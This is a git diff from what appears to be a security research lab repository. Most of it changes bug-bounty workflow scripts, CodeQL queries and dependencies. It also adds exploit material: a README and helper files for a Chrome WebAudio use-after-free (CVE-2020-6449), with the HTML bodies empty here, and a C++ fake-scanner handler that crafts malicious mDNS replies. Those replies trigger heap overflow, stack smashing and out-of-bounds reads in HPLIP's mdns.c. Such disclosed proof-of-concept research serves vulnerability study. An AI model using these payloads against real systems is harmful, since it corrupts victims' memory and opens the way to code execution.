diff --git a/.github/actions/check/check-replication.js b/.github/actions/check/check-replication.js index b8b9a8a..476311d 100644 --- a/.github/actions/check/check-replication.js +++ b/.github/actions/check/check-replication.js @@ -32,11 +32,13 @@ const run = async () => { return; } else { + core.debug(`Retrieved ${internalIssues === null || internalIssues === void 0 ? void 0 : internalIssues.length} internal issues`); const externalIssues = await issues_1.getIssueList(github.context.repo.owner, github.context.repo.repo, process.env['GITHUB_TOKEN'], true, true); if (!externalIssues) { core.setFailed(`Internal error when retrieving all issues.`); return; } + core.debug(`Retrieved ${externalIssues === null || externalIssues === void 0 ? void 0 : externalIssues.length} external issues`); let failed = false; externalIssues.forEach(issue => { const ref = issues_1.internalIssueAlreadyCreated(issue === null || issue === void 0 ? void 0 : issue.html_url, internalIssues); diff --git a/.github/actions/check/check-replication.ts b/.github/actions/check/check-replication.ts index dec22e8..7dbb23b 100644 --- a/.github/actions/check/check-replication.ts +++ b/.github/actions/check/check-replication.ts @@ -11,11 +11,13 @@ const run = async (): Promise => { core.setFailed(`Internal error. Cannot access the internal repo ${internalRepo}. Aborting`) return } else { + core.debug(`Retrieved ${internalIssues?.length} internal issues`) const externalIssues = await getIssueList(github.context.repo.owner, github.context.repo.repo, process.env['GITHUB_TOKEN'], true, true) if(!externalIssues) { core.setFailed(`Internal error when retrieving all issues.`) return } + core.debug(`Retrieved ${externalIssues?.length} external issues`) let failed = false externalIssues.forEach( issue => { const ref = internalIssueAlreadyCreated(issue?.html_url, internalIssues) diff --git a/.github/actions/replicate/issues.js b/.github/actions/replicate/issues.js index 4830fb4..2afb124 100644 --- a/.github/actions/replicate/issues.js +++ b/.github/actions/replicate/issues.js @@ -33,29 +33,35 @@ exports.getIssueList = async (owner, repo, token, open, checkBountyLabels, per_p const octokit = new github.GitHub(token); const issueState = open ? 'open' : 'all'; // const labelFilter: string = replicate.BOUNTY_LABELS.join(',') - const issues = await octokit.issues.listForRepo({ - owner, - repo, - state: issueState, - per_page: per_page ? per_page : 100 // TODO: implement proper pagination - // labels: labelFilter -- Does not work properly - }); - issues.data.forEach(issue => { - var _a; - const bountyLabel = checkBountyLabels ? issue.labels.some(label => { - return replicate.BOUNTY_LABELS.includes(label.name); - }) : undefined; - if (!checkBountyLabels || bountyLabel) { - let item = { - title: issue.title, - author: (_a = issue.user) === null || _a === void 0 ? void 0 : _a.login, - body: issue.body ? issue.body : '', - number: issue.number, - html_url: issue.html_url - }; - result.push(item); - } - }); + const issuesPerPage = per_page ? per_page : 50; + let pageNb = 0; + do { + const issues = await octokit.issues.listForRepo({ + owner, + repo, + state: issueState, + per_page: issuesPerPage, + page: pageNb + // labels: labelFilter -- Does not work properly + }); + issues.data.forEach(issue => { + var _a; + const bountyLabel = checkBountyLabels ? issue.labels.some(label => { + return replicate.BOUNTY_LABELS.includes(label.name); + }) : undefined; + if (!checkBountyLabels || bountyLabel) { + let item = { + title: issue.title, + author: (_a = issue.user) === null || _a === void 0 ? void 0 : _a.login, + body: issue.body ? issue.body : '', + number: issue.number, + html_url: issue.html_url + }; + result.push(item); + } + }); + pageNb = (issues.data.length < issuesPerPage) ? -1 : pageNb + 1; + } while (pageNb >= 0); return result; } catch (error) { diff --git a/.github/actions/replicate/issues.ts b/.github/actions/replicate/issues.ts index 33945f0..de5d6ba 100644 --- a/.github/actions/replicate/issues.ts +++ b/.github/actions/replicate/issues.ts @@ -15,29 +15,35 @@ export const getIssueList = async (owner: string, repo: string, token: string | const octokit = new github.GitHub(token) const issueState: Issue_state = open? 'open' : 'all' // const labelFilter: string = replicate.BOUNTY_LABELS.join(',') - const issues = await octokit.issues.listForRepo({ - owner, - repo, - state: issueState, - per_page: per_page? per_page : 100 // TODO: implement proper pagination - // labels: labelFilter -- Does not work properly - }) - - issues.data.forEach(issue => { - const bountyLabel = checkBountyLabels? issue.labels.some(label => { - return replicate.BOUNTY_LABELS.includes(label.name as replicate.BountyType) - }) : undefined - if(!checkBountyLabels || bountyLabel){ - let item: Issue_info = { - title: issue.title, - author: issue.user?.login, - body: issue.body? issue.body : '', - number: issue.number, - html_url: issue.html_url + const issuesPerPage = per_page? per_page : 50 + let pageNb = 0 + do { + const issues = await octokit.issues.listForRepo({ + owner, + repo, + state: issueState, + per_page: issuesPerPage, + page: pageNb + // labels: labelFilter -- Does not work properly + }) + + issues.data.forEach(issue => { + const bountyLabel = checkBountyLabels? issue.labels.some(label => { + return replicate.BOUNTY_LABELS.includes(label.name as replicate.BountyType) + }) : undefined + if(!checkBountyLabels || bountyLabel){ + let item: Issue_info = { + title: issue.title, + author: issue.user?.login, + body: issue.body? issue.body : '', + number: issue.number, + html_url: issue.html_url + } + result.push(item) } - result.push(item) - } - }); + }); + pageNb = (issues.data.length < issuesPerPage)? -1 : pageNb + 1 + } while (pageNb >= 0) return result } catch(error) { core.debug(error.message) diff --git a/.github/actions/replicate/replicate.js b/.github/actions/replicate/replicate.js index 1fc4a4a..3d323e8 100644 --- a/.github/actions/replicate/replicate.js +++ b/.github/actions/replicate/replicate.js @@ -25,6 +25,10 @@ const github = __importStar(require("@actions/github")); const issues_1 = require("./issues"); exports.BOUNTY_LABELS = ['All For One', 'The Bug Slayer']; const COMMENT_TASK_LIST_AFO = `## Task List + +- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/drive/folders/1Jq6UfqP3CRF9Iafde86_IPAQPfdgH5rR)** +- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)** + - [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below: - [ ] Acceptance - [ ] Generate result set and post the URL in the comment @@ -52,6 +56,10 @@ const COMMENT_TASK_LIST = { 'The Bug Slayer': COMMENT_TASK_LIST_BS }; const COMMENT_SCORING = `## Scoring + +- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)** +- **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error** + | Criterion | Score| |--- | --- | | Vulnerability Impact | | @@ -132,6 +140,13 @@ exports.createInternalIssue = async (payload, issue) => { }); internal_ref = issueResponse.data.number; core.debug(`issue created: ${internal_ref}`); + const labelsResponse = await octokit.issues.addLabels({ + owner, + repo, + issue_number: internal_ref, + labels: issue.labels + }); + core.debug(`Labels addition result: ${labelsResponse.status} ${(labelsResponse.status == 200) ? "OK" : "FAILED"}`); const issueCommentResponse1 = await octokit.issues.createComment({ owner, repo, diff --git a/.github/actions/replicate/replicate.ts b/.github/actions/replicate/replicate.ts index c6e0f87..386efa1 100644 --- a/.github/actions/replicate/replicate.ts +++ b/.github/actions/replicate/replicate.ts @@ -10,6 +10,10 @@ export type Issue = {title: string, body: string, labels: string[], bountyType: type GitHubIssue = { [key: string]: any, number: number, html_url?: string | undefined, body?: string | undefined} const COMMENT_TASK_LIST_AFO = `## Task List + +- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/drive/folders/1Jq6UfqP3CRF9Iafde86_IPAQPfdgH5rR)** +- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)** + - [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below: - [ ] Acceptance - [ ] Generate result set and post the URL in the comment @@ -40,6 +44,10 @@ const COMMENT_TASK_LIST: CommentMap = { } const COMMENT_SCORING = `## Scoring + +- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)** +- **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error** + | Criterion | Score| |--- | --- | | Vulnerability Impact | | diff --git a/.github/workflows/check-replication-manual.yml b/.github/workflows/check-replication-manual.yml index 4892a36..0e1eef3 100644 --- a/.github/workflows/check-replication-manual.yml +++ b/.github/workflows/check-replication-manual.yml @@ -1,4 +1,4 @@ -name: 'Bounty issue replication workflow' +name: 'Bounty issue manual replication check' on: workflow_dispatch jobs: diff --git a/.github/workflows/check-replication.yml b/.github/workflows/check-replication.yml index 3be6424..21c243f 100644 --- a/.github/workflows/check-replication.yml +++ b/.github/workflows/check-replication.yml @@ -1,4 +1,4 @@ -name: 'Bounty issue replication workflow' +name: 'Bounty issue replication check' on: schedule: - cron: '0 17 * * *' diff --git a/CodeQL_Queries/cpp/Chrome/bindings.qll b/CodeQL_Queries/cpp/Chrome/bindings.qll index 695ab27..796ce7e 100644 --- a/CodeQL_Queries/cpp/Chrome/bindings.qll +++ b/CodeQL_Queries/cpp/Chrome/bindings.qll @@ -11,7 +11,7 @@ class StrongBinding extends ClassTemplateInstantiation { } Type getBindingType() { - result = this.getTemplateArgument(0).stripType() + result = this.getTemplateArgument(0).(Type).stripType() } } @@ -21,7 +21,7 @@ class Binding extends ClassTemplateInstantiation { } Type getBindingType() { - result = this.getTemplateArgument(0).stripType() + result = this.getTemplateArgument(0).(Type).stripType() } } @@ -32,7 +32,7 @@ class MojoReceiver extends ClassTemplateInstantiation { } Type getBindingType() { - result = this.getTemplateArgument(0).stripType() + result = this.getTemplateArgument(0).(Type).stripType() } } diff --git a/CodeQL_Queries/cpp/Chrome/callbacks.qll b/CodeQL_Queries/cpp/Chrome/callbacks.qll index 6602fb7..eeed98f 100644 --- a/CodeQL_Queries/cpp/Chrome/callbacks.qll +++ b/CodeQL_Queries/cpp/Chrome/callbacks.qll @@ -104,7 +104,6 @@ predicate reach(Function f, Function g) { else overrides*(g, gc.getTarget()) | - g = gc.getTarget() and gc.getEnclosingFunction() = f ) or exists(CallbackSinks sink | sink.getEnclosingCallable() = f and diff --git a/CodeQL_Queries/cpp/Chrome/qlpack.yml b/CodeQL_Queries/cpp/Chrome/qlpack.yml new file mode 100644 index 0000000..2c2b5a3 --- /dev/null +++ b/CodeQL_Queries/cpp/Chrome/qlpack.yml @@ -0,0 +1,3 @@ +name: chrome_ql +version: 0.0.0 +libraryPathDependencies: codeql-cpp diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/README.md b/SecurityExploits/Chrome/blink/CVE-2020-6449/README.md new file mode 100644 index 0000000..5c90b31 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/README.md @@ -0,0 +1,24 @@ +## Exploit for Chrome CVE-2020-6449 + +The write up can be found [here](https://securitylab.github.com/research/CVE-2020-6449-exploit-chrome-uaf). This is a bug in the webaudio component I discovered in March 2020. Chromium issue ticket can be found [here.](https://bugs.chromium.org/p/chromium/issues/detail?id=1059686) + +The exploit is tested on Ubuntu 18.04 LTS, version 80.0.3987.137, with the following build config: (Probably can reduce symbol level) + +``` +is_debug=false +symbol_level = 2 +blink_symbol_level = 2 +``` + +Offsets and object sizes used are based on the linux build. + +The exploit is mostly reliable when testing on localhost with python `SimpleHTTPServer`. However, it is not 100% reliable. This is due to the hardcoded offset between the address of a memory bucket that was leaked and the memory bucket that is actually used to store controlled data. This offset is used in `calculateControlledAddress`: + +``` + //Hardcoded offset between heap bins. + let controlledAddress = bigIntView[0] + 0x184798n; +``` + +This mostly fail when there is a broken pipe problem with the `SimpleHTTPServer`, which happens when the browser is not shutdown properly (shutdown by `Ctrl+C` rather than closing it from UI) Reliability can probably be improved by using memory buckets that are closer together, or just by putting the whole thing inside an out-of-process-iframe so that if it crashed, it can be restarted from the parent. (Although the bucket offset would need to be tuned again in this case) + +The exploit takes a couple of minutes to run. If successful, it will overwrite memory permission for a page that holds our controlled data and will print out the address of this page. It can then be verified that the memory permission has been written to `rwx` for that page using `/proc//maps` (the renderer can be easy to spot by as it should consumed about 400Mb of memory). After that, executing shell code is easy, although I have not included or executed any shell code in this exploit. diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js b/SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js new file mode 100644 index 0000000..7bf6fd1 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js @@ -0,0 +1,15 @@ +// white-noise-processor.js +function sleep(miliseconds) { + var currentTime = new Date().getTime(); + while (currentTime + miliseconds >= new Date().getTime()) { + } +} + +class DelayProcessor extends AudioWorkletProcessor { + process (inputs, outputs, parameters) { + sleep(2); + return true + } +} + +registerProcessor('delay-processor', DelayProcessor) diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release.html b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release.html new file mode 100644 index 0000000..d87ec60 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release.html @@ -0,0 +1,298 @@ + + + + + +
+
+
+
+ + diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html new file mode 100644 index 0000000..94a8503 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html @@ -0,0 +1,45 @@ + + + + + + + diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor.js b/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor.js new file mode 100644 index 0000000..96a2e3a --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor.js @@ -0,0 +1,15 @@ +// white-noise-processor.js +function sleep(miliseconds) { + var currentTime = new Date().getTime(); + while (currentTime + miliseconds >= new Date().getTime()) { + } +} + +class TestProcessor extends AudioWorkletProcessor { + process (inputs, outputs, parameters) { + sleep(2); + return true + } +} + +registerProcessor('test-processor', TestProcessor) diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor2.js b/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor2.js new file mode 100644 index 0000000..75c58c5 --- /dev/null +++ b/SecurityExploits/Chrome/blink/CVE-2020-6449/test-processor2.js @@ -0,0 +1,15 @@ +// white-noise-processor.js +function sleep(miliseconds) { + var currentTime = new Date().getTime(); + while (currentTime + miliseconds >= new Date().getTime()) { + } +} + +class TestProcessor extends AudioWorkletProcessor { + process (inputs, outputs, parameters) { + sleep(300); + return true + } +} + +registerProcessor('test-processor', TestProcessor) diff --git a/SecurityExploits/SANE/epsonds_CVE-2020-12861/README.md b/SecurityExploits/SANE/epsonds_CVE-2020-12861/README.md index ef924fa..01c2226 100644 --- a/SecurityExploits/SANE/epsonds_CVE-2020-12861/README.md +++ b/SecurityExploits/SANE/epsonds_CVE-2020-12861/README.md @@ -1,4 +1,4 @@ -# Vulnerabilities in SANE Backends +# Vulnerabilities in SANE Backends and HPLIP This directory contains two proof-of-concept exploits for several vulnerabilities in [SANE Backends](https://gitlab.com/sane-project/backends). diff --git a/SecurityExploits/SANE/epsonds_CVE-2020-12861/fakescanner.cpp b/SecurityExploits/SANE/epsonds_CVE-2020-12861/fakescanner.cpp index 6697013..259cd7e 100644 --- a/SecurityExploits/SANE/epsonds_CVE-2020-12861/fakescanner.cpp +++ b/SecurityExploits/SANE/epsonds_CVE-2020-12861/fakescanner.cpp @@ -241,6 +241,298 @@ class BuildMagicolorHandlerTCP : public BuildRecvHandlerTCP { } }; +// The exact bytes of the buffer sent by this call (mdns.c:442): +// +// mdns_send_query(udp_socket, "_scanner._tcp.local", QTYPE_PTR); +// +static const char scanner_tcp_local[37] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x5f, 0x73, 0x63, 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x04, 0x5f, 0x74, + 0x63, 0x70, 0x05, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x00, 0x00, 0x0c, 0x00, + 0x01 +}; + +// The exact bytes of the buffer sent by this call (mdns.c:443): +// +// mdns_send_query(udp_socket, "_uscan._tcp.local", QTYPE_PTR); +// +static const char uscan_tcp_local[35] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0x5f, 0x75, 0x73, 0x63, 0x61, 0x6e, 0x04, 0x5f, 0x74, 0x63, 0x70, + 0x05, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x00, 0x00, 0x0c, 0x00, 0x01 +}; + +class HplipHandler : public RecvHandlerUDP { + char malicious_response_buf[2048]; + + // Trigger a buffer overflow in mdns_readName (mdns.c:191). The + // destination buffer is `rr->name`, which is a 256 byte buffer. We will + // write off the end of it, overwriting the `rr->next` pointer. The + // bogus pointer triggers a crash at mdns.c:393. + static size_t init_buf_heap_overflow(char* buf) { + size_t pos = 0; + // id + buf[pos++] = 0; + buf[pos++] = 0; + // flags + buf[pos++] = 0; + buf[pos++] = 0; + // questions + buf[pos++] = 0; + buf[pos++] = 1; + // answers + buf[pos++] = 0; + buf[pos++] = 0; + // authorities + buf[pos++] = 0; + buf[pos++] = 0; + // additionals + buf[pos++] = 0; + buf[pos++] = 0; + + // mdns_readName (mdns.c:279) + buf[pos++] = 0xBF; + memset(buf + pos, 'x', 0xBF); + pos += 0xBF; + buf[pos++] = 0x50; + memset(buf + pos, 'x', 0x40); + pos += 0x40; + ((uint64_t*)(buf + pos))[0] = 0xFEDCBA9876543210; // pointer to next DNS_RECORD + ((uint64_t*)(buf + pos))[1] = 604; // mchunk_size (malloc.c) + pos += 0x10; + buf[pos++] = 0; // End the name + + printf("setzero size=%ld\n", pos); + return pos; + } + + // Trigger a stack buffer overflow in mdns_update_uris (mdns.c:396). + static size_t init_buf_stack_smash(char* buf) { + size_t pos = 0; + // id + buf[pos++] = 0; + buf[pos++] = 0; + // flags + buf[pos++] = 0; + buf[pos++] = 0; + // questions + buf[pos++] = 0; + buf[pos++] = 0; + // answers + buf[pos++] = 0; + buf[pos++] = 0; + // authorities + buf[pos++] = 0; + buf[pos++] = 0; + // additionals + buf[pos++] = 0; + buf[pos++] = 2; + + // mdns_readName (mdns.c:279) + buf[pos++] = 9; + memcpy(&buf[pos], "kevwozere", 10); + pos += 10; + + // type = QTYPE_TXT (16). (mdns.c:280) + buf[pos++] = 0; + buf[pos++] = 16; + pos += 6; + + // data_len = 256. (mdns.c:283) + buf[pos++] = 1; + buf[pos++] = 0; + + // mdns_readMDL (mdns.c:204) + const uint8_t modelLen = 0xFF; + buf[pos++] = modelLen; + memcpy(buf + pos, "mdl=", 4); + pos += 4; + memset(buf + pos, 'x', modelLen - 4); + pos += modelLen - 4; + + // mdns_readName (mdns.c:279) + buf[pos++] = 9; + memcpy(&buf[pos], "kevwozere", 10); + pos += 10; + + // type = QTYPE_A (1). (mdns.c:280) + buf[pos++] = 0; + buf[pos++] = 1; + pos += 6; + + // data_len = 4. (mdns.c:283) + buf[pos++] = 0; + buf[pos++] = 4; + + // Bogus ip address + memset(buf + pos, 0xFF, 4); + pos += 4; + + printf("first response size=%ld\n", pos); + return pos; + } + + // Trigger an out of bounds read at mdns.c:279. + static size_t init_buf_out_of_bounds_read(char* buf) { + size_t pos = 0; + // id + buf[pos++] = 0; + buf[pos++] = 0; + // flags + buf[pos++] = 0; + buf[pos++] = 0; + // questions + buf[pos++] = 0; + buf[pos++] = 0; + // answers + buf[pos++] = 0; + buf[pos++] = 0; + // authorities + buf[pos++] = 0; + buf[pos++] = 0; + // additionals + buf[pos++] = 0; + buf[pos++] = 2; + + // mdns_readName (mdns.c:279) + buf[pos++] = 9; + memcpy(&buf[pos], "kevwozere", 10); + pos += 10; + + // type = QTYPE_TXT (16). (mdns.c:280) + buf[pos++] = 0; + buf[pos++] = 16; + pos += 6; + + // data_len = 0xFFFF. (mdns.c:283) + // This causes the pointer `p` to be advanced far beyond the bounds of + // the buffer, leading to an out of bounds read. This bug does not cause + // a crash, but it could possibly be used for information disclosure. + buf[pos++] = 0xFF; + buf[pos++] = 0xFF; + + // mdns_readMDL (mdns.c:204) + const uint8_t modelLen = 0xFF; + buf[pos++] = modelLen; + memcpy(buf + pos, "mdl=", 4); + pos += 4; + memset(buf + pos, 'x', modelLen - 4); + pos += modelLen - 4; + return pos; + } + + static bool parse_packet(const uint8_t* buf, ssize_t size) { + static const char header[] = + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + + if (size <= (ssize_t)sizeof(header)) { + return false; + } + + if (memcmp(buf, header, sizeof(header))) { + printf("unrecognized header:"); + size_t i; + for (i = 0; i < sizeof(header); i++) { + printf(" %.2x", buf[i]); + } + printf("\n"); + } + + ssize_t pos = sizeof(header); + while (1) { + assert(pos < size); + uint8_t segsize = buf[pos]; + if (segsize == 0) { + pos++; + break; + } + pos++; + assert(pos <= size); + if (segsize >= size - pos) { + printf("bad segment size: %d %ld\n", segsize, size-pos); + return false; + } + size_t i; + printf("."); + for (i = 0; i < segsize; i++) { + printf("%c", buf[pos + i]); + } + pos += segsize; + } + + printf("\n"); + + // The next 4 bytes are: 0, query_type, 0, QCLASS_IN + assert(pos <= size); + if (size - pos < 4) { + printf("message too short\n"); + return false; + } + if (buf[pos] != 0 || buf[pos+2] != 0 || buf[pos+3] != 1) { + printf("buf[pos..pos+3] = %.02x %.02x %.02x %.02x\n", + buf[pos], buf[pos+1], buf[pos+2], buf[pos+3]); + } + uint8_t query_type = buf[pos+1]; + printf("query_type = %x\n", query_type); + pos += 4; + printf("remaining bytes: %ld\n", size-pos); + + ssize_t i; + for (i = pos; i < size; i++) { + printf("%.2x", buf[i]); + } + printf("\n"); + + return (size == pos); + } + +public: + HplipHandler(int mode) { + memset(malicious_response_buf, 0, sizeof(malicious_response_buf)); + switch (mode) { + case 0: + init_buf_heap_overflow(malicious_response_buf); + break; + case 1: + init_buf_stack_smash(malicious_response_buf); + break; + case 2: + init_buf_out_of_bounds_read(malicious_response_buf); + break; + default: + printf("Invalid hplip mode: %d\n", mode); + break; + } + } + + virtual ~HplipHandler() {} + + virtual int receive( + const uint8_t* buf, ssize_t len, + SocketHandlerUDP& sock, + const sockaddr* peer_addr, socklen_t peer_addr_len + ) override { + print_addr(peer_addr, peer_addr_len); + parse_packet(buf, len); + + if (len != sizeof(scanner_tcp_local)) { + // We're not interested in this message. + return 0; + } + if (memcmp(buf, scanner_tcp_local, sizeof(scanner_tcp_local)) != 0) { + // We're not interested in this message. + return 0; + } + + printf("send malicious\n"); + sock.replyto( + malicious_response_buf, sizeof(malicious_response_buf), + peer_addr, peer_addr_len + ); + return 0; + } +}; + static const char epsonp_discover[15] = "EPSONP\x00\xff\x00\x00\x00\x00\x00\x00"; static const char epsonp_response[76] = @@ -811,7 +1103,7 @@ int main(int argc, char* argv[]) { fprintf( stderr, "usage: %s \n" - "commands: epson [0-8], magicolor\n", + "commands: hplip [0-2], epson [0-8], magicolor\n", prog ); exit(EXIT_FAILURE); @@ -840,6 +1132,24 @@ int main(int argc, char* argv[]) { fprintf(stderr, "Failed to bind UDP port 4567.\n"); exit(EXIT_FAILURE); } + } else if (strcmp(command, "hplip") == 0) { + if (argc != 3) { + fprintf( + stderr, + "usage: %s hplip [0-2]\n" + "You need to include a mode number.\n", + argv[0] + ); + exit(EXIT_FAILURE); + } + const int mode = atoi(argv[2]); + if (EpollRecvHandlerUDP::build( + epollfd, + create_and_bind_udp(5353), + new HplipHandler(mode)) < 0) { + fprintf(stderr, "Failed to bind UDP port 5353.\n"); + exit(EXIT_FAILURE); + } } else if (strcmp(command, "epson") == 0) { if (argc != 3) { fprintf( diff --git a/package-lock.json b/package-lock.json index 33daae0..44ce9df 100644 --- a/package-lock.json +++ b/package-lock.json @@ -3,9 +3,9 @@ "lockfileVersion": 1, "dependencies": { "@actions/core": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.2.4.tgz", - "integrity": "sha512-YJCEq8BE3CdN8+7HPZ/4DxJjk/OkZV2FFIf+DlZTC/4iBlzYCD5yjRR6eiOS5llO11zbRltIRuKAjMKaWTE6cg==", + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.2.6.tgz", + "integrity": "sha512-ZQYitnqiyBc3D+k7LsgSBmMDVkOVidaagDG7j3fOym77jNunWRuYx7VSHa9GNfFZh+zh61xsCjRj4JxMZlDqTA==", "dev": true }, "@actions/github": { @@ -3954,9 +3954,9 @@ "dev": true }, "node-fetch": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz", - "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==", + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", + "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", "dev": true }, "node-int64": { diff --git a/package.json b/package.json index e0011d4..aaa023f 100644 --- a/package.json +++ b/package.json @@ -7,7 +7,7 @@ }, "license": "ISC", "devDependencies": { - "@actions/core": "^1.2.4", + "@actions/core": "^1.2.6", "@actions/github": "^2.2.0", "@types/jest": "^25.2.3", "@types/node": "^14.0.4",